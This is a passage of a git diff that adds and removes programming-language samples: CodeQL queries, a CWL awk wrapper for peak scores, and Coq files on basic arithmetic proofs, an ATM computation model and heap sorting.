index 0000000000..7389c252b3
--- /dev/null
+++ b/samples/CodeQL/qll-sample3.qll
@@ -0,0 +1,79 @@
+/**
+ * Source: https://github.com/github/rasmuswl-temp-ql-clone/blob/5e1c8fe8c9c3505c35f7e032169bf56d71ea2bc7/python/ql/src/semmle/python/objects/Descriptors.qll
+ * License: Apache License 2.0
+ */
+
+private class PropertySetterOrDeleter extends ObjectInternal, TPropertySetterOrDeleter {
+
+    override string toString() {
+        result = this.getProperty().toString() + "." + this.getName()
+    }
+
+    override string getName() {
+        this = TPropertySetterOrDeleter(_, result)
+    }
+
+    PropertyInternal getProperty() {
+        this = TPropertySetterOrDeleter(result, _)
+    }
+
+    override predicate callResult(ObjectInternal obj, CfgOrigin origin) {
+        exists(ControlFlowNode call |
+            obj = this.getProperty() and obj = TProperty(call, _, _) and
+            origin = CfgOrigin::fromCfgNode(call)
+        )
+    }
+
+    override predicate introducedAt(ControlFlowNode node, PointsToContext context) {
+        none()
+    }
+
+    override ClassDecl getClassDeclaration() { none() }
+
+    override boolean isClass() { result = false }
+
+    override ObjectInternal getClass() {
+       result = TBuiltinClassObject(Builtin::special("MethodType"))
+    }
+
+    override predicate notTestableForEquality() { none() }
+
+    override Builtin getBuiltin() { none() }
+
+    override ControlFlowNode getOrigin() { none() }
+
+    override predicate callResult(PointsToContext callee, ObjectInternal obj, CfgOrigin origin) { none() }
+
+    override int intValue() { none() }
+
+    override string strValue() { none() }
+
+    override boolean booleanValue() { result = true }
+
+    override predicate calleeAndOffset(Function scope, int paramOffset) { none() }
+
+    override predicate attribute(string name, ObjectInternal value, CfgOrigin origin) { none() }
+
+    override predicate attributesUnknown() { none() }
+
+    override predicate subscriptUnknown() { none() }
+
+    override boolean isDescriptor() { result = true }
+
+    override int length() { none() }
+
+    override predicate binds(ObjectInternal cls, string name, ObjectInternal descriptor) { none() }
+
+    override predicate contextSensitiveCallee() { none() }
+
+    override ObjectInternal getIterNext() { none() }
+
+    override predicate descriptorGetClass(ObjectInternal cls, ObjectInternal value, CfgOrigin origin) { none() }
+
+    override predicate descriptorGetInstance(ObjectInternal instance, ObjectInternal value, CfgOrigin origin) { none() }
+
+    override predicate useOriginAsLegacyObject() { none() }
+
+    override predicate isNotSubscriptedType() { any() }
+
+}
diff --git a/samples/CodeQL/tree-sitter-sample.ql b/samples/CodeQL/tree-sitter-sample.ql
new file mode 100644
index 0000000000..31f329532f
--- /dev/null
+++ b/samples/CodeQL/tree-sitter-sample.ql
@@ -0,0 +1,21 @@
+/**
+ * Sample taken from a tree-sitter-ql example.
+ * Source: https://github.com/tree-sitter/tree-sitter-ql/blob/updated-ql-grammar/examples/002.ql
+ * License: MIT
+ */
+
+private predicate foo(F f){
+  f = f
+}
+
+int predicateWithResult(){
+  result = 43
+}
+
+class A extends int {
+  A() {
+    this = -1
+  }
+}
+
+select (A)-1
diff --git a/samples/Common Workflow Language/trunk-peak-score.cwl b/samples/Common Workflow Language/trunk-peak-score.cwl
new file mode 100644
index 0000000000..eabe54964c
--- /dev/null
+++ b/samples/Common Workflow Language/trunk-peak-score.cwl	
@@ -0,0 +1,36 @@
+#!/usr/bin/env cwl-runner
+# Originally from
+# https://github.com/Duke-GCB/GGR-cwl/blob/54e897263a702ff1074c8ac814b4bf7205d140dd/utils/trunk-peak-score.cwl
+# Released under the MIT License:
+# https://github.com/Duke-GCB/GGR-cwl/blob/54e897263a702ff1074c8ac814b4bf7205d140dd/LICENSE
+# Converted to CWL v1.0 syntax using
+# https://github.com/common-workflow-language/cwl-upgrader
+# and polished by Michael R. Crusoe <mrc@commonwl.org>
+# All modifications also released under the MIT License
+cwlVersion: v1.0
+class: CommandLineTool
+doc: Trunk scores in ENCODE bed6+4 files
+
+hints:
+  DockerRequirement:
+    dockerPull: dukegcb/workflow-utils
+
+inputs:
+  peaks:
+    type: File
+  sep:
+    type: string
+    default: \t
+
+outputs:
+  trunked_scores_peaks:
+    type: stdout
+
+baseCommand: awk
+
+arguments:
+- -F $(inputs.sep)
+- BEGIN{OFS=FS}$5>1000{$5=1000}{print}
+- $(inputs.peaks.path)
+
+stdout: $(inputs.peaks.nameroot).trunked_scores$(inputs.peaks.nameext)
diff --git a/samples/Coq/Basics.v b/samples/Coq/Basics.v
deleted file mode 100755
index 054fcbd84b..0000000000
--- a/samples/Coq/Basics.v
+++ /dev/null
@@ -1,707 +0,0 @@
-Inductive day : Type :=
-| monday : day
-| tuesday : day
-| wednesday : day
-| thursday : day
-| friday : day
-| saturday : day
-| sunday : day.
-
-Definition next_weekday (d:day) : day :=
-  match d with
-  | monday => tuesday
-  | tuesday => wednesday
-  | wednesday => thursday
-  | thursday => friday
-  | friday => monday
-  | saturday => monday
-  | sunday => monday
-  end.
-
-Example test_next_weekday:
-(next_weekday (next_weekday saturday)) = tuesday.
-
-Proof. simpl. reflexivity. Qed.
-
-Inductive bool : Type :=
-	| true : bool
-	| false : bool.
-
-Definition negb (b:bool) : bool :=
-													 match b with
-																			 | true => false
-																			 | false => true
-													 end.
-
-Definition andb (b1:bool) (b2:bool) : bool :=
-		match b1 with
-		 | true => b2
-		 | false => false
-	  end.
-
-Definition orb (b1:bool) (b2:bool) : bool :=
-		match b1 with
-		  | true => true
-		  | false => b2
-		end.
-
-Example test_orb1: (orb true false) = true.
-Proof. simpl. reflexivity. Qed.
-
-Example test_orb2: (orb false false) = false.
-Proof. simpl. reflexivity. Qed.
-
-Example test_orb3: (orb false true) = true.
-Proof. simpl. reflexivity. Qed.
-
-Example test_orb4: (orb true true) = true.
-Proof. simpl. reflexivity. Qed.
-
-Definition nandb (b1: bool) (b2:bool) : bool :=
-	match b1 with
-		| true => match b2 with
-										| false => true
-										| true => false
-							end
-		| false => true
-	end.
-
-Example test_nandb1: (nandb true false) = true.
-Proof. simpl. reflexivity. Qed.
-Example test_nandb2: (nandb false false) = true.
-Proof. simpl. reflexivity. Qed.
-Example test_nandb3: (nandb false true) = true.
-Proof. simpl. reflexivity. Qed.
-Example test_nandb4: (nandb true true) = false.
-Proof. simpl. reflexivity. Qed.
-
-Definition andb3 (b1: bool) (b2:bool) (b3:bool) : bool :=
-	match b1 with
-    | false => false
-		| true => match b2 with
-								| false => false
-								| true => b3
-							end
-	end.
-
-Example test_andb31: (andb3 true true true) = true.
-Proof. simpl. reflexivity. Qed.
-Example test_andb32: (andb3 false true true) = false.
-Proof. simpl. reflexivity. Qed.
-Example test_andb33: (andb3 true false true) = false.
-Proof. simpl. reflexivity. Qed.
-Example test_andb34: (andb3 true true false) = false.
-Proof. simpl. reflexivity. Qed.
-
-Module Playground1.
-
-Inductive nat : Type :=
-	| O : nat
-	| S : nat -> nat.
-
-Definition pred (n : nat) : nat :=
-	match n with
-		| O => O
-		| S n' => n'
-	end.
-
-Definition minustwo (n : nat) : nat :=
-	match n with
-		| O => O
-		| S O => O
-		| S (S n') => n'
-	end.
-
-Fixpoint evenb (n : nat) : bool :=
-	match n with
-		| O => true
-		| S O => false
-		| S (S n') => evenb n'
-	end.
-
-Definition oddb (n : nat) : bool := negb (evenb n).
-
-Example test_oddb1: (oddb (S O)) = true.
-Proof. reflexivity. Qed.
-Example test_oddb2: (oddb (S (S (S (S O))))) = false.
-Proof. reflexivity. Qed.
-
-Fixpoint plus (n : nat) (m : nat) : nat :=
-	match n with
-		| O => m
-		| S n' => S (plus n' m)
-	end.
-
-Fixpoint mult (n m : nat) : nat :=
-	match n with
-		| O => O
-		| S n' => plus m (mult n' m)
-	end.
-
-Fixpoint minus (n m : nat) : nat :=
-	match n, m with
-		| O, _ => n
-		| S n', O => S n'
-		| S n', S m' => minus n' m'
-	end.
-
-Fixpoint exp (base power : nat) : nat :=
-	match power with
-		| O => S O
-		| S p => mult base (exp base p)
-	end.
-
-Fixpoint factorial (n : nat) : nat :=
-	match n with
-		| O => S O
-		| S n' => mult n (factorial n')
-	end.
-
-Example test_factorial1: (factorial (S (S (S O)))) = (S (S (S (S (S (S O)))))).
-Proof. simpl. reflexivity. Qed.
-
-Notation "x + y" := (plus x y) (at level 50, left associativity) : nat_scope.
-Notation "x - y" := (minus x y) (at level 50, left associativity) : nat_scope.
-Notation "x * y" := (mult x y) (at level 40, left associativity) : nat_scope.
-
-Fixpoint beq_nat (n m : nat) : bool :=
-	match n with
-		| O => match m with
-						| O => true
-						| S m' => false
-					 end
-		| S n' => match m with
-							| O => false
-							| S m' => beq_nat n' m'
-							end
-	end.
-
-Fixpoint ble_nat (n m : nat) : bool :=
-	match n with
-		| O => true
-		| S n' => 
-				match m with
-					| O => false
-					| S m' => ble_nat n' m'
-				end
-	end.
-
-Example test_ble_nat1: (ble_nat (S (S O)) (S (S O))) = true.
-Proof. simpl. reflexivity. Qed.
-Example test_ble_nat2: (ble_nat (S (S O)) (S (S (S (S O))))) = true.
-Proof. simpl. reflexivity. Qed.
-Example test_ble_nat3: (ble_nat (S (S (S (S O)))) (S (S O))) = false.
-Proof. simpl. reflexivity. Qed.
-
-Definition blt_nat (n m : nat) : bool :=
-		(andb (negb (beq_nat n m)) (ble_nat n m)).
-
-Example test_blt_nat1: (blt_nat (S (S O)) (S (S O))) = false.
-Proof. simpl. reflexivity. Qed.
-Example test_blt_nat3: (blt_nat (S (S (S (S O)))) (S (S O))) = false.
-Proof. simpl. reflexivity. Qed.
-Example test_blt_nat2 : (blt_nat (S (S O)) (S (S (S (S O))))) = true.
-Proof. simpl. reflexivity. Qed.
-
-Theorem plus_O_n : forall n : nat, O + n = n.
-Proof.
-	simpl. reflexivity. Qed.
-
-Theorem plus_O_n' : forall n : nat, O + n = n.
-Proof.
-	reflexivity. Qed.
-
-Theorem plus_O_n'' : forall n : nat, O + n = n.
-Proof.
-	intros n. reflexivity. Qed.
-
-Theorem plus_1_1 : forall n : nat, (S O) + n = S n.
-Proof.
-	intros n. reflexivity. Qed.
-
-Theorem mult_0_1: forall n : nat, O * n = O.
-Proof.
-	intros n. reflexivity. Qed.
-
-Theorem plus_id_example : forall n m:nat,
-	n = m -> n + n = m + m.
-Proof.
-	intros n m.
-	intros H.
-	rewrite -> H.
-	reflexivity. Qed.
-
-Theorem plus_id_exercise : forall n m o: nat,
-	n = m -> m = o -> n + m = m + o.
-Proof.
-	intros n m o.
-	intros H.
-	intros H'.
-	rewrite -> H.
-	rewrite <- H'.
-	reflexivity.
-	Qed.
-
-Theorem mult_0_plus : forall n m : nat,
-				(O + n) * m = n * m.
-Proof.
-	intros n m.
-	rewrite -> plus_O_n.
-	reflexivity. Qed.
-
-Theorem mult_1_plus : forall n m: nat,
-	((S O) + n) * m = m + (n * m).
-Proof.
-	intros n m.
-	rewrite -> plus_1_1.
-	reflexivity.
-	Qed.
-
-Theorem mult_1 : forall n : nat,
-				n * (S O) = n.
-Proof.
-	intros n.
-	induction n as [| n'].
-	reflexivity.
-	simpl.
-	rewrite -> IHn'.
-	reflexivity.
-	Qed.
-
-Theorem plus_1_neq_0 : forall n : nat,
-				beq_nat (n + (S O)) O = false.
-Proof.
-	intros n.
-	destruct n as [| n'].
-	reflexivity.
-	reflexivity.
-	Qed.
-
-Theorem zero_nbeq_plus_1 : forall n : nat,
-				beq_nat O (n + (S O)) = false.
-Proof.
-	intros n.
-	destruct n.
-	reflexivity.
-	reflexivity.
-Qed.
-
-Require String. Open Scope string_scope.
-
-Ltac move_to_top x :=
-match reverse goal with
-| H : _ |- _ => try move x after H
-end.
-
-Tactic Notation "assert_eq" ident(x) constr(v) :=
-	let H := fresh in
-	assert (x = v) as H by reflexivity;
-	clear H.
-
-	Tactic Notation "Case_aux" ident(x) constr(name) :=
-		first [
-		set (x := name); move_to_top x
-		| assert_eq x name; move_to_top x
-		| fail 1 "because we are working on a different case" ].
-
-		Ltac Case name := Case_aux Case name.
-		Ltac SCase name := Case_aux SCase name.
-		Ltac SSCase name := Case_aux SSCase name.
-		Ltac SSSCase name := Case_aux SSSCase name.
-		Ltac SSSSCase name := Case_aux SSSSCase name.
-		Ltac SSSSSCase name := Case_aux SSSSSCase name.
-		Ltac SSSSSSCase name := Case_aux SSSSSSCase name.
-		Ltac SSSSSSSCase name := Case_aux SSSSSSSCase name.
-
-Theorem andb_true_elim1 : forall b c : bool,
-				andb b c = true -> b = true.
-Proof.
-	intros b c H.
-	destruct b.
-	Case "b = true".
-		reflexivity.
-	Case "b = false".
-		rewrite <- H. reflexivity. Qed.
-
-Theorem plus_0_r : forall n : nat, n + O = n.
-Proof.
-	intros n. induction n as [| n'].
-	Case "n = 0". reflexivity.
-	Case "n = S n'". simpl. rewrite -> IHn'. reflexivity. Qed.
-
-Theorem minus_diag : forall n,
-				minus n n = O.
-Proof.
-	intros n. induction n as [| n'].
-	Case "n = 0".
-		simpl. reflexivity.
-	Case "n = S n'".
-		simpl. rewrite -> IHn'. reflexivity. Qed.
-
-
-Theorem mult_0_r : forall n:nat,
-				n * O = O.
-Proof.
-	intros n. induction n as [| n'].
-	Case "n = 0".
-		reflexivity.
-	Case "n = S n'".
-		simpl. rewrite -> IHn'. reflexivity. Qed.
-
-Theorem plus_n_Sm : forall n m : nat,
-				S (n + m) = n + (S m).
-Proof.
-	intros n m. induction n as [| n'].
-	Case "n = 0".
-		reflexivity.
-	Case "n = S n'".
-		simpl. rewrite -> IHn'. reflexivity. Qed.
-
-Theorem plus_assoc : forall n m p : nat,
-					n + (m + p) = (n + m) + p.
-Proof.
-	intros n m p.
-	induction n as [| n'].
-	reflexivity.
-	simpl.
-	rewrite -> IHn'.
-	reflexivity. Qed.
-
-Theorem plus_distr : forall n m: nat, S (n + m) = n + (S m).
-Proof.
-	intros n m.  induction n as [| n'].
-	Case "n = 0".
-		reflexivity.
-	Case "n = S n'".
-		simpl. rewrite -> IHn'. reflexivity. Qed.
-
-Theorem mult_distr : forall n m: nat, n * ((S O) + m) = n * (S m).
-Proof.
-	intros n m.
-	induction n as [| n'].
-	reflexivity.
-	reflexivity.
-	Qed.
-
-Theorem plus_comm : forall n m : nat,
-	n + m = m + n.
-Proof.
-	intros n m.
-	induction n as [| n'].
-	Case "n = 0".
-		simpl.
-		rewrite -> plus_0_r.
-		reflexivity.
-	Case "n = S n'".
-		simpl.
-		rewrite -> IHn'.
-		rewrite -> plus_distr.
-		reflexivity. Qed.
-
-Fixpoint double (n:nat) :=
-	match n with
-		| O => O
-		| S n' => S (S (double n'))
-	end.
-
-Lemma double_plus : forall n, double n = n + n.
-Proof.
-	intros n. induction n as [| n'].
-	Case "n = 0".
-		reflexivity.
-	Case "n = S n'".
-		simpl. rewrite -> IHn'.
-		rewrite -> plus_distr. reflexivity.
-		Qed.
-
-Theorem beq_nat_refl : forall n : nat,
-	true = beq_nat n n.
-Proof.
-	intros n. induction n as [| n'].
-	Case "n = 0".
-		reflexivity.
-	Case "n = S n".
-		simpl. rewrite <- IHn'.
-		reflexivity. Qed.
-
-Theorem plus_rearrange: forall n m p q : nat,
-				(n + m) + (p + q) = (m + n) + (p + q).
-Proof.
-	intros n m p q.
-	assert(H: n + m = m + n).
-		Case "Proof by assertion".
-		rewrite -> plus_comm. reflexivity.
-	rewrite -> H. reflexivity. Qed.
-
-Theorem plus_swap : forall n m p: nat,
-				n + (m + p) = m + (n + p).
-Proof.
-	intros n m p.
-	rewrite -> plus_assoc.
-	assert(H: m + (n + p) = (m + n) + p).
-	rewrite -> plus_assoc.
-	reflexivity.
-	rewrite -> H.
-	assert(H2: m + n = n + m).
-	rewrite -> plus_comm.
-	reflexivity.
-	rewrite -> H2.
-	reflexivity.
-	Qed.
-
-Theorem plus_swap' : forall n m p: nat,
-				n + (m + p) = m + (n + p).
-Proof.
-	intros n m p.
-	rewrite -> plus_assoc.
-	assert(H: m + (n + p) = (m + n) + p).
-	rewrite -> plus_assoc.
-	reflexivity.
-	rewrite -> H.
-	replace (m + n) with (n + m).
-	rewrite -> plus_comm.
-	reflexivity.
-	rewrite -> plus_comm.
-	reflexivity.
-	Qed.
-
-Theorem mult_1_distr: forall m n: nat,
-				n * ((S O) + m) = n * (S O) + n * m.
-Proof.
-	intros n m.
-	rewrite -> mult_1.
-	rewrite -> plus_1_1.
-	simpl.
-	induction m as [|m'].
-	simpl.
-	reflexivity.
-	simpl.
-	rewrite -> plus_swap.
-	rewrite <- IHm'.
-	reflexivity.
-	Qed.
-
-Theorem mult_comm: forall m n : nat,
-				m * n = n * m.
-Proof.
-	intros m n.
-	induction n as [| n'].
-	Case "n = 0".
-		simpl.
-		rewrite -> mult_0_r.
-		reflexivity.
-	Case "n = S n'".
-		simpl.
-		rewrite <- mult_distr.
-		rewrite -> mult_1_distr.
-		rewrite -> mult_1.
-		rewrite -> IHn'.
-		reflexivity.
-		Qed.
-
-Theorem evenb_next : forall n : nat,
-				evenb n = evenb (S (S n)).
-Proof.
-	intros n.
-Admitted.
-
-Theorem negb_negb : forall n : bool,
-				n = negb (negb n).
-Proof.
-	intros n.
-	destruct n.
-	reflexivity.
-	reflexivity.
-	Qed.
-
-Theorem evenb_n_oddb_Sn : forall n : nat,
-				evenb n = negb (evenb (S n)).
-Proof.
-	intros n.
-	induction n as [|n'].
-	reflexivity.
-	assert(H: evenb n' = evenb (S (S n'))).
-	reflexivity.
-	rewrite <- H.
-	rewrite -> IHn'.
-	rewrite <- negb_negb.
-	reflexivity.
-	Qed.
-
-(*Fixpoint bad (n : nat) : bool :=
-	match n with
-		| O => true
-		| S O => bad (S n)
-		| S (S n') => bad n'
-	end.*)
-
-Theorem ble_nat_refl : forall n:nat,
-				true = ble_nat n n.
-Proof.
-	intros n.
-	induction n as [|n'].
-	Case "n = 0".
-		reflexivity.
-	Case "n = S n".
-		simpl.
-		rewrite <- IHn'.
-		reflexivity.
-	Qed.
-
-Theorem zero_nbeq_S : forall n: nat,
-				beq_nat O (S n) = false.
-Proof.
-	intros n.
-	reflexivity.
-	Qed.
-
-Theorem andb_false_r : forall b : bool,
-				andb b false = false.
-Proof.
-	intros b.
-	destruct b.
-	reflexivity.
-	reflexivity.
-	Qed.
-
-Theorem plus_ble_compat_1 : forall n m p : nat,
-				ble_nat n m = true -> ble_nat (p + n) (p + m) = true.
-Proof.
-	intros n m p.
-	intros H.
-	induction p.
-	Case "p = 0".
-		simpl.
-		rewrite -> H.
-		reflexivity.
-	Case "p = S p'".
-		simpl.
-		rewrite -> IHp.
-		reflexivity.
-		Qed.
-
-Theorem S_nbeq_0 : forall n:nat,
-				beq_nat (S n) O = false.
-Proof.
-	intros n.
-	reflexivity.
-	Qed.
-
-Theorem mult_1_1 : forall n:nat, (S O) * n = n.
-Proof.
-	intros n.
-	simpl.
-	rewrite -> plus_0_r.
-	reflexivity. Qed.
-
-Theorem all3_spec : forall b c : bool,
-	orb (andb b c)
-			(orb (negb b)
-			 		 (negb c))
-	= true.
-Proof.
-	intros b c.
-	destruct b.
-	destruct c.
-	reflexivity.
-	reflexivity.
-	reflexivity.
-	Qed.
-
-Lemma mult_plus_1 : forall n m : nat,
-			S(m + n) = m + (S n).
-Proof.
-	intros n m.
-	induction m.
-	reflexivity.
-	simpl.
-	rewrite -> IHm.
-	reflexivity.
-	Qed.
-
-Theorem mult_mult : forall n m : nat,
-	n * (S m) = n * m + n.
-Proof.
-	intros n m.
-	induction n.
-	reflexivity.
-	simpl.
-	rewrite -> IHn.
-	rewrite -> plus_assoc.
-	rewrite -> mult_plus_1.
-	reflexivity.
-	Qed.
-
-Theorem mult_plus_distr_r : forall n m p:nat,
-				(n + m) * p = (n * p) + (m * p).
-Proof.
-	intros n m p.
-	induction p.
-	rewrite -> mult_0_r.
-	rewrite -> mult_0_r.
-	rewrite -> mult_0_r.
-	reflexivity.
-	rewrite -> mult_mult.
-	rewrite -> mult_mult.
-	rewrite -> mult_mult.
-	rewrite -> IHp.
-	assert(H1: ((n * p) + n) + (m * p + m) = (n * p) + (n + (m * p + m))).
-	rewrite <- plus_assoc.
-	reflexivity.
-	rewrite -> H1.
-	assert(H2: (n + (m * p + m)) = (m * p + (n + m))).
-	rewrite -> plus_swap.
-	reflexivity.
-	rewrite -> H2.
-	assert(H3: (n * p) + (m * p + (n + m)) = ((n * p ) + (m * p)) + (n + m)).
-	rewrite -> plus_assoc.
-	reflexivity.
-	rewrite -> H3.
-	reflexivity.
-	Qed.
-
-Theorem mult_assoc : forall n m p : nat,
-				n * (m * p) = (n * m) * p.
-Proof.
-	intros n m p.
-	induction n.
-	simpl.
-	reflexivity.
-	simpl.
-	rewrite -> mult_plus_distr_r.
-	rewrite -> IHn.
-	reflexivity.
-	Qed.
-
-Inductive bin : Type :=
-	| BO : bin
-	| D : bin -> bin
-	| M : bin -> bin.
-
-Fixpoint incbin (n : bin) : bin :=
-	match n with
-		| BO => M (BO)
-		| D n' => M n'
-		| M n' => D (incbin n')
-	end.
-
-Fixpoint bin2un (n : bin) : nat :=
-	match n with
-		| BO => O
-		| D n' => double (bin2un n')
-		| M n' => S (double (bin2un n'))
-	end.
-
-Theorem bin_comm : forall n : bin,
-				bin2un(incbin n) = S (bin2un n).
-Proof.
-	intros n.
-	induction n.
-		reflexivity.
-		reflexivity.
-		simpl.
-		rewrite -> IHn.
-		reflexivity.
-	Qed.
-
-End Playground1.
diff --git a/samples/Coq/Computation.v b/samples/Coq/Computation.v
new file mode 100644
index 0000000000..646b66db7a
--- /dev/null
+++ b/samples/Coq/Computation.v
@@ -0,0 +1,85 @@
+(** The definition of computations, used to represent interactive programs. *)
+Require Import Coq.NArith.NArith.
+Require Import ListString.All.
+
+Local Open Scope type.
+
+(** System calls. *)
+Module Command.
+  Inductive t :=
+  | AskCard
+  | AskPIN
+  | CheckPIN (pin : N)
+  | AskAmount
+  | CheckAmount (amount : N)
+  | GiveCard
+  | GiveAmount (amount : N)
+  | ShowError (message : LString.t).
+
+  (** The type of an answer for a command depends on the value of the command. *)
+  Definition answer (command : t) : Type :=
+    match command with
+    | AskCard => bool (* If the given card seems valid. *)
+    | AskPIN => option N (* A number or cancellation. *)
+    | CheckPIN _ => bool (* If the PIN number is valid. *)
+    | AskAmount => option N (* A number or cancellation. *)
+    | CheckAmount _ => bool (* If the amount can be withdrawn. *)
+    | GiveCard => bool (* If the card was given. *)
+    | GiveAmount _ => bool (* If the money was given. *)
+    | ShowError _ => unit (* Show an error message. *)
+    end.
+End Command.
+
+(** Computations with I/Os. *)
+Module C.
+  (** A computation can either does nothing, or do a system call and wait
+      for the answer to run another computation. *)
+  Inductive t : Type :=
+  | Ret : t
+  | Call : forall (command : Command.t), (Command.answer command -> t) -> t.
+  Arguments Ret.
+  Arguments Call _ _.
+
+  (** Some optional notations. *)
+  Module Notations.
+    (** A nicer notation for `Ret`. *)
+    Definition ret : t :=
+      Ret.
+
+    (** We define an explicit apply function so that Coq does not try to expand
+        the notations everywhere. *)
+    Definition apply {A B} (f : A -> B) (x : A) := f x.
+
+    (** System call. *)
+    Notation "'call!' answer ':=' command 'in' X" :=
+      (Call command (fun answer => X))
+      (at level 200, answer ident, command at level 100, X at level 200).
+
+    (** System call with typed answer. *)
+    Notation "'call!' answer : A ':=' command 'in' X" :=
+      (Call command (fun (answer : A) => X))
+      (at level 200, answer ident, command at level 100, A at level 200, X at level 200).
+
+    (** System call ignoring the answer. *)
+    Notation "'do_call!' command 'in' X" :=
+      (Call command (fun _ => X))
+      (at level 200, command at level 100, X at level 200).
+
+    (** This notation is useful to compose computations which wait for a
+        continuation. We do not have an explicit bind operator to simplify the
+        language and the proofs. *)
+    Notation "'let!' x ':=' X 'in' Y" :=
+      (apply X (fun x => Y))
+      (at level 200, x ident, X at level 100, Y at level 200).
+
+    (** Let with a typed answer. *)
+    Notation "'let!' x : A ':=' X 'in' Y" :=
+      (apply X (fun (x : A) => Y))
+      (at level 200, x ident, X at level 100, A at level 200, Y at level 200).
+
+    (** Let ignoring the answer. *)
+    Notation "'do!' X 'in' Y" :=
+      (apply X (fun _ => Y))
+      (at level 200, X at level 100, Y at level 200).
+  End Notations.
+End C.
diff --git a/samples/Coq/Heap.v b/samples/Coq/Heap.v
deleted file mode 100755
index 4881c99e8d..0000000000
--- a/samples/Coq/Heap.v
+++ /dev/null
@@ -1,290 +0,0 @@
-(** A development of Treesort on Heap trees. It has an average
-    complexity of O(n.log n) but of O(n²) in the worst case (e.g. if
-    the list is already sorted) *)
-
-(* G. Huet 1-9-95 uses Multiset *)
-
-Require Import List Multiset PermutSetoid Relations Sorting.
-
-Section defs.
-
-  (** * Trees and heap trees *)
-
-  (** ** Definition of trees over an ordered set *)
-
-  Variable A : Type.
-  Variable leA : relation A.
-  Variable eqA : relation A.
-
-  Let gtA (x y:A) := ~ leA x y.
-
-  Hypothesis leA_dec : forall x y:A, {leA x y} + {leA y x}.
-  Hypothesis eqA_dec : forall x y:A, {eqA x y} + {~ eqA x y}.
-  Hypothesis leA_refl : forall x y:A, eqA x y -> leA x y.
-  Hypothesis leA_trans : forall x y z:A, leA x y -> leA y z -> leA x z.
-  Hypothesis leA_antisym : forall x y:A, leA x y -> leA y x -> eqA x y.
-
-  Hint Resolve leA_refl.
-  Hint Immediate eqA_dec leA_dec leA_antisym.
-
-  Let emptyBag := EmptyBag A.
-  Let singletonBag := SingletonBag _ eqA_dec.
-
-  Inductive Tree :=
-    | Tree_Leaf : Tree
-    | Tree_Node : A -> Tree -> Tree -> Tree.
-
-  (** [a] is lower than a Tree [T] if [T] is a Leaf
-      or [T] is a Node holding [b>a] *)
-
-  Definition leA_Tree (a:A) (t:Tree) :=
-    match t with
-      | Tree_Leaf => True
-      | Tree_Node b T1 T2 => leA a b
-    end.
-
-  Lemma leA_Tree_Leaf : forall a:A, leA_Tree a Tree_Leaf.
-  Proof.
-    simpl; auto with datatypes.
-  Qed.
-
-  Lemma leA_Tree_Node :
-    forall (a b:A) (G D:Tree), leA a b -> leA_Tree a (Tree_Node b G D).
-  Proof.
-    simpl; auto with datatypes.
-  Qed.
-
-
-  (** ** The heap property *)
-
-  Inductive is_heap : Tree -> Prop :=
-    | nil_is_heap : is_heap Tree_Leaf
-    | node_is_heap :
-      forall (a:A) (T1 T2:Tree),
-        leA_Tree a T1 ->
-        leA_Tree a T2 ->
-        is_heap T1 -> is_heap T2 -> is_heap (Tree_Node a T1 T2).
-
-  Lemma invert_heap :
-    forall (a:A) (T1 T2:Tree),
-      is_heap (Tree_Node a T1 T2) ->
-      leA_Tree a T1 /\ leA_Tree a T2 /\ is_heap T1 /\ is_heap T2.
-  Proof.
-    intros; inversion H; auto with datatypes.
-  Qed.
-
-  (* This lemma ought to be generated automatically by the Inversion tools *)
-  Lemma is_heap_rect :
-    forall P:Tree -> Type,
-      P Tree_Leaf ->
-      (forall (a:A) (T1 T2:Tree),
-        leA_Tree a T1 ->
-        leA_Tree a T2 ->
-        is_heap T1 -> P T1 -> is_heap T2 -> P T2 -> P (Tree_Node a T1 T2)) ->
-      forall T:Tree, is_heap T -> P T.
-  Proof.
-    simple induction T; auto with datatypes.
-    intros a G PG D PD PN.
-    elim (invert_heap a G D); auto with datatypes.
-    intros H1 H2; elim H2; intros H3 H4; elim H4; intros.
-    apply X0; auto with datatypes.
-  Qed.
-
-  (* This lemma ought to be generated automatically by the Inversion tools *)
-  Lemma is_heap_rec :
-    forall P:Tree -> Set,
-      P Tree_Leaf ->
-      (forall (a:A) (T1 T2:Tree),
-        leA_Tree a T1 ->
-        leA_Tree a T2 ->
-        is_heap T1 -> P T1 -> is_heap T2 -> P T2 -> P (Tree_Node a T1 T2)) ->
-      forall T:Tree, is_heap T -> P T.
-  Proof.
-    simple induction T; auto with datatypes.
-    intros a G PG D PD PN.
-    elim (invert_heap a G D); auto with datatypes.
-    intros H1 H2; elim H2; intros H3 H4; elim H4; intros.
-    apply X; auto with datatypes.
-  Qed.
-
-  Lemma low_trans :
-    forall (T:Tree) (a b:A), leA a b -> leA_Tree b T -> leA_Tree a T.
-  Proof.
-    simple induction T; auto with datatypes.
-    intros; simpl; apply leA_trans with b; auto with datatypes.
-  Qed.
-
-  (** ** Merging two sorted lists *)
-
-  Inductive merge_lem (l1 l2:list A) : Type :=
-    merge_exist :
-    forall l:list A,
-      Sorted leA l ->
-      meq (list_contents _ eqA_dec l)
-      (munion (list_contents _ eqA_dec l1) (list_contents _ eqA_dec l2)) ->
-      (forall a, HdRel leA a l1 -> HdRel leA a l2 -> HdRel leA a l) ->
-      merge_lem l1 l2.
-  Require Import Morphisms.
-
-  Instance: Equivalence (@meq A).
-  Proof. constructor; auto with datatypes. red. apply meq_trans. Defined.
-
-  Instance: Proper (@meq A ++> @meq _ ++> @meq _) (@munion A).
-  Proof. intros x y H x' y' H'. now apply meq_congr. Qed.
-
-  Lemma merge :
-    forall l1:list A, Sorted leA l1 ->
-    forall l2:list A, Sorted leA l2 -> merge_lem l1 l2.
-  Proof.
-    fix 1; intros; destruct l1.
-    apply merge_exist with l2; auto with datatypes.
-    rename l1 into l.
-    revert l2 H0. fix 1. intros.
-    destruct l2 as [|a0 l0].
-    apply merge_exist with (a :: l); simpl; auto with datatypes.
-    elim (leA_dec a a0); intros.
-
-    (* 1 (leA a a0) *)
-    apply Sorted_inv in H. destruct H.
-    destruct (merge l H (a0 :: l0) H0).
-    apply merge_exist with (a :: l1). clear merge merge0.
-      auto using cons_sort, cons_leA with datatypes.
-    simpl. rewrite m. now rewrite munion_ass.
-    intros. apply cons_leA.
-    apply (@HdRel_inv _ leA) with l; trivial with datatypes.
-
-    (* 2 (leA a0 a) *)
-    apply Sorted_inv in H0. destruct H0.
-    destruct (merge0 l0 H0). clear merge merge0.
-    apply merge_exist with (a0 :: l1);
-      auto using cons_sort, cons_leA with datatypes.
-    simpl; rewrite m. simpl. setoid_rewrite munion_ass at 1. rewrite munion_comm.
-    repeat rewrite munion_ass. setoid_rewrite munion_comm at 3. reflexivity.
-    intros. apply cons_leA.
